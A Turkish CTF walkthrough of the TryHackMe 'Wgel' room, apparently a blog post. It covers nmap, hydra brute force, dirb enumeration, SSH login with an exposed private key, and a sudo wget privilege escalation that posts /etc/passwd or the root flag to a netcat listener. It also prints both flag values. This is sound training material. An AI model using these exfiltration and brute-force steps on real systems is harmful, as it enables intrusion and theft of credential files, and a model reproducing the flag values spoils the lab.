- 29 Ağu 2022
- 42
- 42
Makine Çözümleri
Makine: Tryhackme/Wgel
Giriş
Merhaba, bu yazımızda "MrSeth6797" adlı kişi tarafından oluşturulan tryhackme üzerindeki "Wgel CTF" adlı basit düzeydeki makineyi çözeceğiz. Şimdi ilk olarak tryhackme ağına bağlanıp, makinemizi çalıştıralım. Gördüğümüz gibi oda, “TASK 1 - Wgel CTF” görev başlığı altında bizden sadece user.flag ve root.flag'i istemektedir. Dolayısıyla bizde ilk olarak makineyi nmap ile taramaya maruz tutup kullanabileceğimiz portları belirleyerek başlayalım.
nmap -sV -sS -Pn <machine_ip_address>
şeklinde nmap taraması ile hedef makinemizdeki kullanabileceğimiz portları belirleyelim.
Nmap sonuçlarına göre burada ssh ve bir web sunucusu çalıştığını görmekteyiz. Burada apache2 sürümünde bir açık var mı? filan bakarak buradan da ilerleyebiliriz, fakat ben burada büyük ihtimal bize ssh ile ilerlememizi istediğini düşünerek ssh yolunu seçiyorum. SSH için biliyorsunuz, terminal üzerinden karşı taraf üzerinde bağlantı kurabilmemize imkan sağlayan bir yazılımdır diyebiliriz. SSH bağlantısı kurabilmek için de bizden karşı makine de yani bağlantı kurmak istediğimiz makinedeki herhangi bir kullanıcı ve bu kullanıcının şifresine sahip olmamız gerekmektedir. Dolayısıyla bizim bir adet kullanıcı adı ve bu kullanıcı adının şifresine ihtiyacımız var, yani bizim biraz siteyi kurcalayıp en azından kullanıcı adını bulmamız gerekmektedir. Şifreyi de bulabiliriz ama bu kadar basit olacağını sanmıyorum. Neticede hedefimizde 80 portu üstünde web sunucunun açık olduğunu görmüştük, bu yüzden ilk önce 80 portuna giderek sitemize ulaşıyoruz. Burada her şeyden önce ctrl+u yaparak sitenin kaynak kodunu görüntülüyoruz;
amacımız ise kullanabileceğimiz bir şeyler bulmak. Nitekim bu amaç doğrultusunda sayfayı biraz aşağıya indirdiğimizde;
<!-- Jessie don't forget to udate the webiste -->
'şeklinde html yorum etiketleri içerisinde jessie diye bir kullanıcıya; sitenin güncellemesinin unutmaması hakkında bir bilgi notu bırakılmış olduğunu görüyoruz Yani demek ki sunucuda jessie diye bir kullanıcı bulunmaktadır. Böylece ssh bağlantısı için gerekli bilgilerimizden ilkini yani kullanıcı adımızı belirlemiş oluyoruz. Peki şimdi geldi bu kullanıcının şifresini bulmaya. Burada aslında ben ilk başta bizden Brute Force'mu istiyor diye düşünerek, jessie kullanıcı adına hydra kullanarak Brute Force yaptım,
hydra -l wordlist/rockyou.txt -p wordlist/rockyou.txt ssh://<ip>
,fakat bu saldırı gerçeğe yakın gibi uzun sürdüğü için, yarı da kestim. Ardından biz ana sayfadan direk kullanıcı adına ulaştığımız için, belki de bunun bir aldatmaca olduğunu düşündüm ve belki başka sayfalar olabilir diye dirb aracını kullanarak dizin taraması başlattım.
dirb http://<ip>
dirb tarama sonucunda aslında bazı sayfalar da olduğunu gördüm. Bunlardan özellikle /sitemap/.ssh/ sekmesi ilgimi çekti,
ve içine girdiğimde aslında bir adet ssh RSA Key gördüm. SSH Key; aslında güvenli parola doğrulaması sağlayan bir anahtar niteliğindedir. Yani parola niyetine kullanılan ve bu sebeple aslında bir parola değeri taşıyan anahtardır. Bunun mantığı da girdiğimiz şifreleri hatırlamak zorunda kalmadan bir kere key üretiyoruz ve daha sonra bu key ile bağlantılarımızı yapıyoruz. Yani başta kullanıcı adı arıyorduk ya biz şimdi hem kullanıcı adını hem de o kullanıcının şifresini yani şifresi niyetindeki bir key'i ele geçirdik. Şimdi bundan sonraki ilk işimiz bulduğumuz kullanıcı adı ile birlikte bu key'i kullanarak ssh ile makinemize bağlanmak olacaktır. Bunun için;
ssh -i id_rsa jessie@<ip>
komutunu kullanıyoruz. Yani ssh'a -i parametresi ile bir key ile bağlanacağımızı belirtiyoruz. Gerçekten de bu şekilde işlem yaptığımızda, biz jessia kullanıcısı ile birlikte hedef sunucumuza girmeyi başarıyoruz.
Şimdi doğrudan user flag dosyamızı arayalım. Bunu basitçe /Documents klasörü içine girerek bulabiliriz; 057c67131c3d5e42dd5cd3075b198ff6
Evet şimdi geldi yetkimizi yükseltmeye. Şimdi ilk olarak sudo -l yaparak jessie kullanıcısının root yetkileriyle kullanabileceği bir şeyler var mı buna bakalım. Bunu yaptığımızda biz wget'i şifresiz bir şekilde kullanabildiğimizi görmekteyiz. Çok güzel, yani ilerleyeceğimiz aşama wget'i kullanarak yetki yükseltmesi yapmak. Bu arada wget'de biliyorsunuz, sunuculardan bir şeyler indirmemize olanak sunan bir yazılımdır diyebiliriz. Nitekim bunu yapabilmek için google'da "wget priv esc" şeklinde küçük bir arama ile ulaşabileceğiniz; sunucuda: "sudo /usr/bin/wget --post-file=/etc/pasww <ip>" local'de: "nc -nvlp 80" komutuna ulaştım. Yani wget kullanarak içine sızdığımız sunucudan local makinemize çıktı aktarabiliyoruz. Ben bu kodu aldım ve etc/passwd'i okumak yerine /root/ içindeki root_flag.txt'i okuması için küçük bir düzeltme yaptım; sudo /usr/bin/wget --post-file=/root/root_flag.txt <ip>
Bu arada Root'un flag ismini nereden buldun diye sorarsanız, sadece tahmin ettim, yani ilk başta user flag'ini de user_flag.txt şeklinde vermişti ya bende burada root_flag.txt yaptım ve çalıştırdığımda da gerçekten root'un da flag değerini almayı başardık; b1b968b37519ad1daa6408188649263d
Ve neticede buraya kadar Tryhackme içindeki Wgell odasını da bu şekilde tamamlamış oluyoruz. Buraya kadar okuduğunuz için teşekkürler, bir sonraki makine çözümlerinde görüşmek üzere…